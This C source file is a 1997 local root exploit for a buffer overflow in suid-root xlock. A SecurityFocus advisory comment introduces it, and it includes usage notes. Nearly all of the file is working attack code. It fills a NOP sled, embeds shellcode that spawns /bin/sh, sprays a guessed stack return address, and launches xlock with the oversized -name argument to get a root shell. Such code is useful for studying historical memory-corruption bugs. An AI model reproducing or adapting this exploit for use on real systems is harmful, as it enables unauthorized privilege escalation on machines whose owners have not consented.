/*
source: https://www.securityfocus.com/bid/224/info
The xlock program is used to lock the local X display until the user supplies the correct password. A buffer overflow condition has been discovered in xlock that may allow an unauthorized user to gain root access.
*/
/* x86 XLOCK overflow exploit
by cesaro@0wned.org 4/17/97
Original exploit framework - lpr exploit
Usage: make xlock-exploit
xlock-exploit <optional_offset>
Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 996
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
int main(int argc, char *argv[])
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int dfltOFFSET = DEFAULT_OFFSET;
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;
if (argc > 1)
dfltOFFSET = atoi(argv[1]);
else printf("You can specify another offset as a parameter if you
need...\n");
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + dfltOFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
}
